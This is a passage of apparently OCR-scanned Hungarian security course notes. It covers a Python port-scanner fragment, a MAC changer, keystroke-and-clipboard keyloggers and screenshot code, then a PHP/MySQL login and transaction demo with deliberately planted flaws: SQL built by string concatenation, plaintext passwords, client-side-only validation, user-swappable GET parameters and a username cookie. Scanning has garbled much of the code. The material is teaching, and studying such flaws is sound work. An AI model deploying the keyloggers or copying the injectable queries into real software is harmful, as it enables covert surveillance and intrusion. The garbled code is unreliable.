print('Couldnt find hostname. The hostname may be invalid or
incorrect."')
sys.exit ()
except socket.error:
print ('Bad connection to server. Try again later.')
sys.exit ()
except KeyboardInterrupt:
print('Bye..")
sys.exit ()

if name == ' main ':

clear screen()

print("********************************************************************

*****")

print (" Scanning hosts, please wait...")

print("********************************************************************
*****")

print("")
print ("User entered ports: ", portsUgly)
print("")
print ("User entered hosts: ", hostValue)
print("")
if UDP:

print ("Currently Scanning UDP ports...")
else:

print ("Currently Scanning TCP ports...")
print("")

# Get Hosts Values

if "/" in hostValue:
ip = IPNetwork (hostValue)
ip list = list(ip)

for ip in IPNetwork (hostValue) .iter hosts():
hosts.append('$s' % ip)

else:
hosts.append (hostValue)



for host in hosts:
print ("Scanning host: ", host)
scan_ports (host)

prlnt ( wn )
timeTwo = datetime.now ()
finalTime = timeTwo - timeOne

print ("Scan finished in the following time: ", finalTime)

print("********************************************************************

*****")

print (" Hosts Scanned. Finishing up... (-.-)Zzz...")

print("~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k*‘k~k'k'k'k'k'k'k'k'k'k'k'k'k'k************************

*‘k‘k'k'k")



Haldzati kartya fizikai cimének megvaltoztatasa Linuxon
https://github.com/rajan98/macky

import subprocess
import argparse
import re

def

def

find mac(interface):

try:

result = subprocess.check output(['ifconfig', interface])
except:

print('[-] Device Not found')

exit ()
all mac = re.search (r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(result))

if not all mac:
return None
return all mac.group (0)

change mac (interface, new mac):
print ('[+] Changing MAC of {0} to {1}'.format (interface, new mac))
oldMac = find mac (interface)

if oldMac:
print('old MAC: {0}'.format (oldMac))
subprocess.call (['ifconfig', interface, 'down'])
subprocess.call (['ifconfig', interface, 'hw', 'ether', new mac])
subprocess.call (['ifconfig', interface, 'up'l])
newMac = find mac(interface)
if newMac:
if newMac == oldMac:
print('[-] Unable to change the MAC address')
else:
print (' [+] MAC address was changed  Successfully to
{0}'.format (newMac) )
else:
print('[-] Could not Find MAC address for specified interface')
def main():

parser = argparse.ArgumentParser (
description="'This script is used to change the Mac address of any

network card',

epilog= 'This is how you use this script'

)

parser.add argument ('interface', help='Enter the name of the interface')
parser.add argument ('mac', help='Enter new MAC address')

args = parser.parse_args ()

change mac (args.interface, args.mac)

if name == " main ":

main ()


https://github.com/rajan98/macky

Keylogger
A kovetkezé kodok billentylizet letitéseket rogzité alkalmazast mutatnak pythonban.

(& keyloggerpy.py - C:/Users/admin/Desktop/keyloggerpy.py (3.7.2)
File Edit Format Run Options Window Help

pynput t keyboard

get key name (key) :
isinstance (key, keyboard.KeyCode) :

irn key.char
irn str (key)
on_press (key) :
print ("Key {) pressed".format (key))
print ("Key type: {)".format(key. class_ . name_))

on_release (key) :

print ("key {} released".format (key))
str(key) == 'Key.esc':
print("inrinﬂ...")

| i 1

keyboard.Listener (
on_press = oOn_press,
on_release = on_release) listener:
listener.join()

https://www.instructables.com/KeyClip-a-Keylogger-Clipboard-Logger-With-Python3-/

from pynput.keyboard import Listener
from pyperclip import paste

import logging

from time import sleep

import threading

logging.basicConfig(filename="KeyClip.log"', level=logging. INFO,
format='%(asctime)s: % (message)s')

def onPress (key) :
logging.info('Key: ' + str(key))

def keyLogger () :
with Listener (on press=onPress) as 1:
1.join ()

def cliplogger () :
prevClip = "'
while True:
clip = paste()
if prevClip != clip:
logging.info ('Clip: '+ clip)


https://www.instructables.com/KeyClip-a-Keylogger-Clipboard-Logger-With-Python3-/

prevClip = clip
sleep(0.2)

keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread (target=clipLogger)

keyThread.start ()
clipThread.start ()

Képernyd rogzitése 1
A rosszindulatu kéd esetleg képernybéképet szeretne késziteni. A kdvetkezd kod bemutatja,
hogyan lehet ezt megvaldsitani a pythonban.

https://www.geeksforgeeks.org/how-to-take-screenshots-using-python/
pip install numpy

pip install pyautogui

pip install opencv-python

# Python program to take
# screenshots

import numpy as np
import cv2
import pyautogui

# take screenshot using pyautogui
image = pyautogui.screenshot ()

since the pyautogui takes as a
PIL(pillow) and in RGB we need to
convert it to numpy array and BGR
so we can write it to the disk
image = cv2.cvtColor (np.array (image),

H o S e

cv2.COLOR_RGB2ZBGR)
# writing it to the disk using opencv

cv2.imwrite ("imagel.png", image)

Képernyd rogzitése 2
https://www.geeksforgeeks.org/taking-screenshots-using-pyscreenshot-in-python

pip install pyscreenshot
# Program to take screenshot
import pyscreenshot

# To capture the screen
image = pyscreenshot.grab ()


https://www.geeksforgeeks.org/taking-screenshots-using-pyscreenshot-in-python

# To display the captured screenshot
image.show ()

# To save the screenshot

image.save ("myscreenshot.png")

Szamitogép zarolasa hangutasitassal
https://www.sujeetkrsingh.com/lock-pc-with-voice-command-using-python

pip install SpeechRecognition

# ctypes module to load windows library
import ctypes

# speech recognition module

import speech recognition as sr

# obtain audio from the microphone
r = sr.Recognizer ()
with sr.Microphone () as source:
print("Say something!")
audio = r.listen (source)

# recognize speech using Google Speech Recognition
try:

# Here we are using default API which comes with the speech recognition
module and is in built

# If vyou want to use your own API key please use this code
‘r.recognize google(audio, key="GOOGLE SPEECH RECOGNITION API KEY")

# instead of ‘r.recognize google (audio) "

cmd=r.recognize google (audio)

# handle the exceptions
except sr.UnknownValueError:

print ("Google Speech Recognition could not understand audio")
except sr.RequestError as e:

print ("Could not request results from Google Speech Recognition service;
{0}".format (e))

# Match and compare the pattern of the voice command. You can change it
yours.
if cmd=="lock my PC":
# Load and execute the command to lock the PC. This function is
available in default library (user32.dll) of windows
ctypes.windll.user32.LockWorkStation ()


https://www.sujeetkrsingh.com/lock-pc-with-voice-command-using-python

Web biztonsag

Ebben a fejezetben a webes biztonsagra 06sszpontositunk. A fejlesztéknek komoly
er6feszitéseket kell tennilk annak érdekében, hogy az altalunk hasznalt webalkalmazas
biztonsagos legyen. Ennek hianya privat adatok ellopasat eredményezheti.

Tekintstk at a webes alkalmazasok mikodését!
Kommunikacié

A kommunikaciohoz bongészdket hasznalunk.

Amikor ugyfélként megnyitod a bongészét, az kérést kuld a szervernek. A kérés Hypertext
Transfer Protocol (HTTP) protokollt hasznal. A szerver lekezeli a kérést, és visszakuldi a
valaszt. A valasz HTMM, CSS, JavaScript kodbol all, amelyet a béngészéd megért és
megjelenit.

HTTP request
Client Server

HTTF response

Ez a fajta kommunikacio allapot nélkili, a szerver nem tudja, mit csinal a bongész6. A hacker
megtamadhatja az Ggyféloldalt vagy a szerver oldalt.

Client Server

Apache

HDD

Broser — | ’_____f_______(_.;.
——

Get index.php

whww.uni-miskole.hu/en
—
\ HTML  «— Process PHP _L_ 5
&_,,

i
-

Databaze

A kdvetkezd példakban az Apache webszervert fogunk hasznalni. A mintaprogramokat HTML,
PHP nyelven irjuk, és MySQL adatbazist is hasznalunk. A munkafolyamat a kdvetkezd:

1. A bdngészéd megnyit egy php fajlt
2. Az Apache megkeresi a fajlt a merevlemezen, és feldolgozza a kodot
3. A PHP kdéd megnyit egy adatbazist az adatok megjelenitéséhez



4. HTML -fajl megjelenik
5. és ez képes megjeleniteni az adatokat.

Amikor megnyitsz egy weboldalt, pl.,

www.uni-miskolc.hu/en,

akkor GET kérést kuldesz a webszerverhez. Ha megnyitod a fejlesztéi eszkdézoket a
bongészédben, és a haldzati fllre l1épsz, lathatod a kérés tényleges fejlécét.

& & @ uni-miskolc.hu/en

). MISKCLC!
By EGYETEM

UNIVERSITY OF MISKOLC NEPTUN )

INTRODUCTION FACULTIES ENGAGEMENT EDUCATION RESEARCH SERVICES

[x il Elements Console  Sources  Network  Performance  Memory  Application  Security Lighthouse

® © ¥ Q Preserve log [ Disable cache | Online vy 2+ 3

Filter [0 Hide data URLs L,;[’f[ XHR JS CSS Img Media Font Doc WS Manifest Other [ Hasblocked cookies [ Blocked Requests
| 1000 ms 2000 ms 3000 ms 4000 ms 5000 ms 6000 ms 7000 ms 3000 ms 9000 ms 10000 m: 11000 ms 12000 ms 13000 ms
‘
Name X Headers Preview Response Initiator Timing Cookies

|| 7id=6376431630545088tev=Microdata&d|=https%3A%2F%2F...16089152451558coo=falselies=au “ 'y General

Request URL: https://www.uni-miskolc.hu/en
Request Method: GET

|| myriad-pro.woff

| style.css o
] = Status Code: @ 202 OK
|| style.css

R te Add : 193.6.10.138:443

|| validationEngine jquery.css S s
i - = Referrer Policy: strict-origin-when-cross-origin
|_| jquery.autocomplete.css
|| jquery-ui-1.8.12.custom.css ¥ Response Headers view source

U Jscal2.css Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-chec
| border-radius.css b Connection: keep-alive
118 requests | 4.6 MB transferred | 10.2 MB resources | Finish: 16.58 s | DOMContentloaded: 14.9¢ Content-Language: hu

A 200-as statuszkdd azt jeleni, hogy minden rendben ment A kdvetkezd statuszkddok
lehetségesek:

Az allapotkédok 3 szamjegybél allnak, az elsé szamjegy utal a tartalmukra, ez a szamjegy 1-
tél 5-ig terjedhet. Ez alapjan a kdvetkezd csoportjai vannak az allapotkddoknak:

1xx - tajékoztatd informaciok: A kérést megkapta a szerver, a feldolgozasa kévetkezik
2xx - sikeres kérés: A kérést sikeresen megkapta, elfogadta, megértette a szerver.
3xx - atirdnyitas: Tovabbi tevékenységre van szikség a kérés befejezéséhez.

4xx - klienshiba: A kérés szintaktikdja rossz vagy nem teljesithetd.

5xx - szerverhiba: A szervernek nem sikerult a kérést végrehajtania.

A formok mikoédésének vizsgalatahoz gépeljik be a ‘Scholarship’ szét az egyetemi weboldal
keres6mezéjébe.


http://www.uni-miskolc.hu/en
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11717720
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2000 me 00ams o000 e 2000 e 10000 e 12000 e 12000 me 16000 me 12000 me 20000 s 22000 22000 20000 s 22000 s 30000 e s2000 2000 s 35000 s
Name X Headers Preview Response Iniistor Timing  Cookies

Request URL: https://waw.uni-miskolc.hu/kereses?search_txt=scholarship

Request Method: GET

lidationEngine
L validationEngine.jquery.css Status Code: @ 208 0K

Jjquery.autocomplete.css
p— . Remote Address: 193.6.10.18:443
uery-ui-1.8.12.custom.css
ey Referrer Policy: strict-origin-when-cross-origin

[ jscaless
|| barder-radius.css v Response Headers  view source
style.css Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=8

e Connection: keep-alive

359 k8 transferred | 29 MB resources | Finish: 271s | DOMContentloaded: 1.10 s Content-Language: hu

Az URL megvaltozott:
https://www.uni-miskolc.hu/kereses?search_txt=scholarship

Lathato, hogy a széveges informacio (query string) a GET request esetén az URL-ben van. A
query string kérdégjellel kezdddik, név-érték parok kdvetik & jellel elvalasztva pl.:

?namel=valuel&name2=value2
Hozzunk létre egy egyszeri bejelentkezési rlapot!

<!doctype html>
<html lang="en">
<head>

<title>Login sample</title>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

<!-- Bootstrap CSS -->

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-betal/dist/css/bootstrap.min.css"
rel="stylesheet" crossorigin="anonymous">

<!-- Bootstrap Bundle with Popper -->

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-
betal/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
</head>

<body>
</br>
<div class="container">
<form id='login' action="login.php" method='post' accept-charset='UTF-8'>
<div class="form-group">
<label for="username">Login User</label>
<input type="text" name="'userName' class="form-control" id="username" aria-
describedby="userNameHelp" placeholder="Enter username" maxlength="50" required />
<small id="userNameHelp" class="form-text text-muted">Enter your username</small>
</div>
<div class="form-group">



<label for="password">Password</label>
<input type="password" name='"password' class="form-control" id="password"
placeholder="Password" maxlength="50" required />
</div>
<input type="submit" class="btn btn-primary" name='Submit' value='Login' />
</form>
</div>
</body>
</html>

Az oldal igy néz ki:

< C @ localhost:30/websec/login.php

Login User
Enter username

Enter your username

Password

Password

Amikor megadod az adataidat és megvizsgalod a kérés fejlécét, latni fogod, hogy ez POST
kérés

%  Headers Preview Response nitiaztor  Timing  Cookies

¥ General
Request URL: http://lccalhost:98/websec/login. php
Request Method: POST
Status Code: @ 228 0K
Remote Address: [::17:98

Referrer Policy: strict-origin-when-cross-origin

Az Urlap adatait a bongészének az alabibi moédon kuldjuk el:

* Form Data VIEW SOUrce view LRL encoded
userMame: my_user_name
password: secret

Submit: Login

A GET és a POST 06sszehasonlitasa

GET POST

GET kérések gyorsitotarazhatdk POST kérések soha nem gyorsitotarazottak
Bennmaradnak a béngész6 el6zményeiben nem maradnak a béngészd elézményeiben
konyvijelzbvel lehet 6ket ellatni nem lehet kdnyvjelzével ellatni dket
hosszkorlatozasok vannak nincsenek korlatozasok az adatok hosszara

soha nem szabad hasznalni érzékeny adatok | vonatkozéan
kezelésekor

csak adatok lekérésére hasznaljak (nem modositjak
azokat)

csak ASCII karakterek megengedettek binaris adatok is megengedettek

az adatok mindenki szaméra lathaték az URL -ben az adatok nem jelennek meg az URL -ben




A HTML kédhoz php kédot a <? php ...7?> tagek kdzé lehet beszurni. Példaul a POST
paraméterek kiirasahoz a kovetkezd kodot szurjuk be a </body> tag elé.

<?php
print r ($ POST);
?>
“— C @ localhost:90/websec/login.php

Login User
Enter username

Enter your username

Password

Password

Array ( [userName] == my_user_name [password] == secret [Submit] == Login)

Jobb egérgombbal megtekinthetjik az oldal forraskddjat:

Login User

Back Alt+Left Arrow
Enter username Forward Alt+Right Arrow
Enter your username Reloac Curl<R
Password Save as.. Ctrl+5
Password Print... Cirl+P
Cast...
Translate to English
View page source Ctrl+U
Inspect Ctrl+Shift+1

A fejleszték esetleg tesz kodot hagytak benne figyelmetlenségbdl:



& (@ view-sourcellocalhost:90/websec/login.php
2| <html lang="en">»
3| <hsad:>
4 <title>Login sample</title>
5 <meta charset="utf-8">
] <meta name="viewport" content="width=device-width,
T <!-- Bootstrap (55 -->
3 <link href="https://cdn.jsdelivr.net/npm/bootstrap:
g <!l-- Bootstrap Bundle with Popper -->
10 <script src="https://cdn.jsdelivr.net/npm/boot=trapf
1| </head>
12
12| <body:
4| </br>
15| <div class="container">
18 <l-- Test data: user=admin, password=admin -->
17 <form id="login' action="login.php" method="'post' at
18 <div class="form-group”:
19 <label for="username">Login User</label:
20 <input type="text™ name='userName' class="form-¢
21 <small id="userMameHelp" class="form-text text-n
22 <fdive
23 <div class="form-group"”:
24 <label for="password":»Password</label>
25 <input type="password"” name='password' class="f¢
28 <fdivs
7 <input type="submit" class="btn btn-primary"” name="'t
28 </form:
| </div>
30
31 | </body>
32 | </html>

Ha dokumentalni szeretnéd a kdédot, akkor azt php kommentként tedd, az nem latszik a
béngészd forraskddjaban.

<?php // Test data: user=admin, password=admin ?>

Készitslink egy Uj adatbazist, a neve legyen websec

&« C @ localhost:90/phpmyadmin/#PMAURL-3:server_databases.php?db==&table=8tserver="18&target==8&token=f7607692874be320ee3c5bfb97f9b 107
phpMyAdmin
ABO@O)E 3 Adatbazisok =[] SQL (g Allapot | = Felhasznalok | [&k Exportalas =[5} Importalds = 4° Bedllitasok = | Tobbszorozés | 4>
| Recenttables) . ]
g New s
- applictarsk Adatbazisok

14 cdeol

) T SEE 3 Adatbézis létrehozasa @

) mysgl
| performance_schema ‘websec || utf®_hungarian_ci v‘ [ Létrehuzais]
1 1) phpmyadmin Processing Request [
1) realsis1 { /&, Megjegyzés: az adatbazis-statisztika engedélyezése a webszerver és a MySQL kozti nagy adatforgalomhoz vezethet.
) test
11 webauth
| webbroker Adatbazis =« lllesztés

Készitsliink egy tablat 3 oszloppal:



4 Structure [] SQL 4 Search [J Query [& Export =[5} Import #* Operations = =2 Privileges % Routines () Events & Trig

Mo tables found in database.
—i 8 Create table

Name: |users Number of columns: |3

Loading...

B Cf Server: 127.0.0.1 » @ Database: websec » [ Table: users

|Z] Browse 4 Structure [ SQL -, Search ¥ Insert [& Export =l Import

5 Privileges = #° Operations ® Tracking 2& Triggers

Table name: |user5 | Add |1 | columns) ':;(E-‘_;'

Structure &)

N Type @ LengthiValues g Default & Collation Attributes Null

lame Index Al Cc
Cra——p E— ) N e - I
— TN ] — JoT
R v] [z Cra— g E— v o[

Table comments:

Storage Engine: &) Collation:

[Table storing user name and password ] ‘ InnoDB v‘ | V|

PARTITION definition:
Adjunk hozza harom felhasznalét:

Add 3 users using the following SQL

INSERT INTO ‘websec . users’ ("userID , ‘userName , "password’ ) VALUES
(NULL, 'admin', 'admin'):;

INSERT INTO ‘websec'. users’ ("userID , ‘userName , ‘password’ ) VALUES
(NULL, 'alice', '1234");

INSERT INTO “websec . users  (userID', ‘userName , “password’ ) VALUES
(NULL, 'bob', '5678'

~

.
’

Ezutan hozzunk létre egy 4 oszlopos tranzakcio tablat.

B C7 Server: 127.0.0.1 » @ Database: websec » [ Table: ransactions

|Z| Browse | A4 Structure [ SQL @ 4 Search = ¥¢ Insert [& Export | =} Import

2 Privileges #° Operations ® Tracking 3% Triggers

Table name: |transactions ‘ Add ‘1 ‘ column(s) ':‘E’,:'

Structure g
Name Type @ LengthiValues g Default & Collation Attributes Null Index Al Con
e - — ) L O [ @[
fomUser | |VARCHAR _ ~v| o5 | [MNene v | EEEEDC.E 4 " N
[oser ] [VAROHR v [ ) [nene J | J L0 40 C
LI — TN 0| S— E—
Table comments: Storage Engine: &) Collation:
| ‘ | InnoDB v | v

PARTITION definition: )

BN




INSERT INTO “websec . transactions™ ( id’, “~fromUser', “toUser’ , ~amount )
VALUES (NULL, 'alice', 'bob', '111');
INSERT INTO “websec . transactions™ ('id’, “fromUser', “toUser’, ~amount)
VALUES (NULL, 'bob', 'admin', '222'");
Hasznaljuk a kdvetkez6 kbédot:
<body>
<div class="container">
<hl> List of users</hl>
<table class="table table-bordered table-striped">
<thead class="thead-dark">
<tr>
<th> UserID </td>
<th> UserName</td>
<th> Password</td>
</tr>
</thead>
<tbody>
<?php
//database authentication
ShostDB="127.0.0.1"; SuserDB ="root"; SpasswordDB=""; S$databaseDB
="websec";
//connect to database
Sconnect = mysqgli connect ($ShostDB, SuserDB, $SpasswordDB, $databaseDB) ;
if (mysgli connect errno()) {
die (" cannot connect to database ". mysgli connect error());
}
Squery ="select * from users " ;
Sresult= mysgli query ($connect, Squery) ;
if (!Sresult) {
die (' error while running query');
}
SuserInfo=array () ;
$SloginInUser=null;
while (Srow= mysgli fetch assoc(Sresult)) {
echo " <tr>";
echo " <td>". Srow["userID"] ." </td>";
echo " <td>". S$row["userName"]."</td>";
echo " <td>". Srow["password"]."</td>";
echo " </tr>";
}
mysqgli free result (Sresult);
mysgli close ($connect);
</tbody>
</table>
</div>

</body>



Helyezzlk at az adatbazis hitelesitési adatait egy kiilon fajlba. Majd adjunk hozza olyan kédot,
amely a sikeres bejelentkezéskor megjelenit egy Transactions gombot.

<?php
require ("dbAuth.inc") ;

SuserName = isset (S POST['userName']) ? $ POST['userName'] : '';
Spassword isset ($_POST['password']) ? $ POST['password'] : '';

if (!empty (SuserName) and !empty (Spassword)) {
//connect to database
Sconnect = mysqgli connect (ShostDB, SuserDB, SpasswordDB, $databaseDB) ;
if (mysgli connect errno()) {
die (" cannot connect to database ". mysqli connect error());

Squery ="select * from users where userName='"
SuserName ."' and password='" . Spassword ."'"

$result= mysqgli query(Sconnect, $query) ;
if (!Sresult) {
die(' error while running query');

$loginInUser=null;

while (Srow= mysqgli fetch assoc(Sresult)) {
$loginInUser = S$row["userName"];
break;

mysgli free result(Sresult);
mysqliiclose($connect);

echo "<pre>";
echo "Server data:</br>";

echo "username: " . SuserName. "</br>";
echo "password: " . S$password. "</br>";
echo "query: " . Squery . "</br>";
if (! empty($loginInUser)) {
echo "</br><div class=\"alert alert-success\">Login successful for
(". $loginInUser .™)";
echo "</br></br><a class=\"btn btn-success\"
href='transactions.php?userName=" . $loginInUser ."'> Transactions</a>";

echo "</div>";

}else({
echo "</br><div class=\"alert alert-danger\">Database login
failed</div>";
}

echo "</pre>";

Hozzunk létre egy Uj transactions.php fajlt, amely kilistazza az 6sszes tranzakciot, ayay
ahonnan vagy ahova bejelentkezett a felhasznalé.



<br /><br /><br />
<h2> List of transactions</h2>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th> transaction id </td>
<th> from </td>
<th> to</td>
<th> amount</td>
</tr>
</thead>
<tbody>
<?php
//Database Authentication
require ("dbAuth.inc") ;

SuserName = $ GET['userName'];
//connect to database
Sconnect = mysqgli connect (ShostDB, S$userDB, SpasswordDB, $SdatabaseDB) ;

if (mysqgli connect errno()) {
die (" cannot connect to database ". mysgli connect error());

// get user transactions

if ( !empty (SuserName)) {
Squery ="select * from transactions where fromUser='". SuserName
toUser='". SuserName ."'" ;

S$result= mysgli query ($connect, Squery) ;
if (!Sresult) {
die (' Error cannot run query');

SuserInfo=array () ;
$SloginInUser=null;
while (Srow= mysgli fetch assoc($result)) {

SrowColor ="class='success'";

if (Srow["fromUser"]==SuserName) {
SrowColor ="class='danger'";

}

echo " <tr ". $rowColor .">";

echo " <td>". Srow["id"] ." </td>";

echo " <td>". Srow["fromUser"] ." </td>";

echo " <td>". Srow["toUser"]."</td>";

echo " <td>". Srow["amount"]."</td>";

echo " </tr>";
}
mysqgli free result (Sresult);
}
mysgli close (Sconnect);
>
</tbody>
</table>

"



Az oldal igy néz ki

&« c @ localhost:90/websec/transactions.php?userName=admin b F. »

List of transactions

transaction id from to amount
2z bob admin 222
3 admin bob 333

Validacios szabalyok elkerllése

Hozzunk létre egy addUser.php oldalt, amely nagyon hasonlit a bejelentkezési (irlaphoz. Uj
felhasznalét ad hozza az adatbazishoz. Az Urlap javascript kdddal ellenérzi, hogy a megadott
jelszé tartalmaz -e legalabb 5 kisbet(it. A form a kévetkezd:

<form id='adduser' action="addUser.php" method='post' accept-charset='UTF-8'>
<div class="form-group">
<label for="username">User</label>
<input type="text" name='userName' class="form-control" id="username" aria-
describedby="userNameHelp" placeholder="Enter username" maxlength="50" />
<small id="userNameHelp" class="form-text text-muted">Enter your
username</small>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" name='password' class="form-control" id="password"
aria-describedby="passwordHelp" placeholder="Password" maxlength="50"/>
<small id="passwordHelp" class="form-text text-muted">Enter password to
enable Add button</small>

</div>
<input type="submit" class="btn btn-primary" id="submit" name="Submit'
value="Add' disabled/>
</form>
A hozzatartozé SQL:
Squery ="Insert into login (userName,password) VALUES ('"
SuserName ."','" . S$password ."")" ;

Mint lathatd, az Add (Hozzaadas) gomb alapértelmezés szerint le van tiltva. Az forraskédban
van egy JavaScript fuggvény, amely engedélyezi a gombot, ha tdbb mint 5 kisbetit irunk be
a jelszd mezdbe:

<script>

var passwordField = document.getElementById("password");
var submitBtn = document.getElementById ("submit") ;
submitBtn.disabled true;
// When the user types something into the password field
passwordField.onkeyup = function() {

submitBtn.disabled = true;

// Validate lowercase letters

var lowerCaseletters = /la-z]/g;

if (!passwordField.value.match (lowerCaselLetters)) {



return;

}

if (passwordField.value.length > 5) {
submitBtn.disabled = false;

}
}
</script>
User User
Enter username new_user

Enter your username Enter your username

Password Password

Password

Enter password to enable Add button Enter password to enable Add button

o

A jobb egérgombbal el6hivhaté Inspect menuben vizsgaljuk meg az Add gombot.

E Back Alt+Left Arrow

Forward Alt+FRight Arrow
Reload Ctrl+R
Save as., Ctrl+5
Print... Ctrl+P
Cast.

Translate to English

Wiew page source Ctrl+U

Inspect Ctrl+Shift+|

<input type="submit" class="btn btn-primary" id="submit” name="S5ubmit" wvelue="Add" disabled} == $&

Cseréljuk le a ‘disabled’ (,letiltva”) értéket az ‘enabled’ (,engedélyezett’) értékre. Most
kihagyhatjuk az ellen6rzést, és elkuldhetjik az (rlapot a jelszéellenérzés nélkil. Ha
megnyitjuk az adatbazistablat, megjelenik a felhasznaléi rekord jelszé nélkdl.



e C7 Server: 127.0.0.1 » @ Database: websec » [ Table: users “Table storing user name ana

[ Browse 34 Structure [ SQL 4 Search ¥t Insert [& Export | =} I
Sort by key:| Mone V|

+ Options

—[— + userlD userName password
(] & Edit 3c Copy @ Delete 2 admin admin

[ & Edit %c Copy @ Delete 3 | alice 1234

(] & Edit %c Copy @ Delete 4 |bob 5678

[ g7 Edit % Copy @ Delete 5 hasNoPassword

+ [] CheckAll With selected: 7 Change @ Delete | Export
Tehat a megoldas az, hogy a validacidos koédot szerveroldalon kell végrehajtani, lasd az if
utasitast az alabbi kédban.

<?php
require ("dbAuth.inc") ;

SuserName isset ($ POST['userName']) ? $ POST['userName'] : '';

Spassword = isset ($ _POST['password']) ? $ POST['password'] : '';

if (!empty (SuserName) and !empty (Spassword)) {
//connect to database
Sconnect = mysqgli connect ($hostDB, $userDB, $SpasswordDB, $databaseDB) ;

if (mysqgli connect errno()) {
die (" cannot connect to database ". mysgli connect error());
}

Squery ="Insert into users (userName,password) VALUES ('"
SuserName ."','" . S$Spassword ."')";

Sresult = mysgli query (Sconnect, Squery);
if (!Sresult) {
die(' error while running query');

}

mysgli close ($connect);

}

?>

Plain text get paraméterek elkerilése

Térjink vissza a bejelentkezési oldalunkra. Jelentkezziink be rendszergazdaként, és
kattintsunk az admin tranzakciéinak megtekintéséhez. Figyeld meg az URL -t: az atadja a
felhasznalonevet.

http://localhost:90/websec/transactions.php?userName=admin

Mi torténik, ha az ‘admin’ paramétert lecseréled ‘bob’-ra?


http://localhost:90/websec/transactions.php?userName=admin

List of transactions

transaction id from to amount
1 alice bob 1101
2 bob admin 222
2 admin bob 333

Az oldal listazza Bob Osszes tranzakciojat anélkil, hogy Bob bejelentkezett volna.

Ne hasznalj kbnnyen kitalalhat6é get paramétert!

(& Print view &2 Relation view 5 Propose table structure @ @ Track table b Move columns

3¢ Add |1 column(s) @ At End of Table (O At Beginning of Table O After | userlD v| [ Go
Megoldasként nem a felhasznaldi nevet, hanem egy felhasznaléi tokent adunk majd at.

Add trigger

Details
Trigger name before_insert_user
Table users "
Time BEFORE v
Event IMNSERT o
BEGIN
SET MEW.userTocken = UUID(};
END;
Definition
Definer

Go Close

UPDATE “users  SET “userToken = UUID() ;

Modositsuk a login.php oldalt, hogy lassuk a tokent:

$loginInUser = null;

SuserToken = null;

while ($row = mysqgli fetch assoc($result)) {
$loginInUser = $row["userName"];
SuserToken = Srow["userToken"];
break;



és a transactions.php parameter a kévetkezéképpen modositando:

if (! empty(SloginInUser)) {
echo "</br><div class=\"alert alert-success\">Login successful for
(". $loginInUser ."™)";
echo "</br></br><a class=\"btn btn-success\"
href="transactions.php?userToken=" . S$SuserToken ."'> Transactions</a>";

echo "</div>";

A transactions.php fajlban a felhasznaléi névbdl le kell generalni a tokent:

//Database Authentication
require ("dbAuth.inc") ;

//connect to database
$connect = mysqgli connect ($hostDB, SuserDB, SpasswordDB, $databaseDB) ;

if (mysgli connect errno()) {
die (" cannot connect to database ". mysqli connect error());
}
SuserToken = isset($ GET['userToken']) ? $ GET['userToken'] : '';
// get user name from token
Squery ="select * from users where userToken='" . SuserToken ."'";

$result= mysqgli query($connect, $query);
if (!Sresult) {
die (' error while running query');

}

SuserName=null;

while (S$row= mysgli fetch assoc(Sresult)) {
SuserName= S$Srow["userName"];
break; // to be save

Sutik (cookies) eltéritése

A bodngészd cookie egy szbdveges fajl. Amikor a webhelyeken bodngészunk, bizonyos
informaciok irhaték bele a cookie -fajlba, hogy személyre szabhassak béngészését, vagy
lehetévé tegyék a webhely gyors elérését.

A Altalaban a stk taroljak az oldal felkeresésének adatait, a végrehajtott kereséseit
kereséseket vasarlasokat az oldalon.

Session Computer Browser Cookies

A munkamenet -bongészé sutije a bongészbdben tarolhatd. Ez torlédik, amikor a felhasznald
kilkp a bongész6bdl. A munkamenet sitiket hasznaljak példaul az online
bevasarlokosarakban hasznaljak a kosar tartalmanak régzitésére. Ezek a boéngész6 cookie -
k lehetévé teszik a felhasznalé szamara, hogy egyik oldalrél a masik oldalra lépjen anélkdl,
hogy tébbszor be kelljen jelentkeznie.



Permanent Computer Browser Cookies

Az allando bongészé siitik a merevlemezre mentédnek és ott maradnak, amig le nem jarnak,
azaz a béngész6 leallitasakor nem toérlédnek. Ezeket a felhasznaldk bongészési szokasainak
profilozasara hasznaljak a webhelyen.

Ezeket a bongészd cookie -kat csak az a szerver tudja olvasni, amely elhelyezi a cookie -kat
a szamitogépen.

Third Party Computer Browser Cookies

Harmadik féltél szarmazo sutik példaul a szalaghirdetések, a helyfuggd hirdetések sutijei. A
webhelyek engedélyezik a cégeknek, hogy ezeket a bongész6 cookie-kat szamitdgépre
mentsék, és a harmadik fél meghatarozhatja a felhasznaldk érdekl6dését azaltal, hogy
nyomon kéveti bongészési szokasokat. [4]

Bovitsuk ki a tranzakcio oldalt egy formal. Ezzel a bejelentkezett felhasznald bizonyos
Osszegeket kuldhet egy masiknak.

<« @ @ localhost:90/websac/transactions. php?userToken=89dcad 1a-476¢-11eb-8004-00030f2a0001

To UserName* Amount:

List of transactions

transaction id from to amount
2 bob admin 222

3 admin bob 333

Az SQL elég egyszer(:

//Add new transaction

if(!empty($7POST['fromUserName']) and !empty($7POST['ToUserName'])) {
Squery ="insert into transactions (fromUser, toUser, amount)
values ('". S POST['fromUserName'] ."','". S POST['ToUserName'] ."',".

$ POST['Amount'] .™)";

$result= mysqgli query(Sconnect, $query) ;
if (!Sresult) {
die (' error while running query');

A fejleszt6 most ugy dont, hogy cookie-kat hasznal a bejelentkezett felhasznald
felhasznalonevének mentéséhez.

A bdngészé ezeket az adatokat lementi.

Header request
Client Cookies Server

»

Header response




A login.php fajlban mentsuk el a felhasznaloi nevet egy cookie-ba.

setcookie ('userName', S$loginInUser, false,"/",false);
Ha az Alkalmazasok fiilre kattintunk, akkor lathatjuk a bdngészdvel tarolt cookie -kat

€« C @ localhost90/websec/login.php

Enter your username

Password
Password

Server data:

username: admin

password: admin

query: select * from users where userName='admin’ and passwords='admin’

Login successful for (admin)

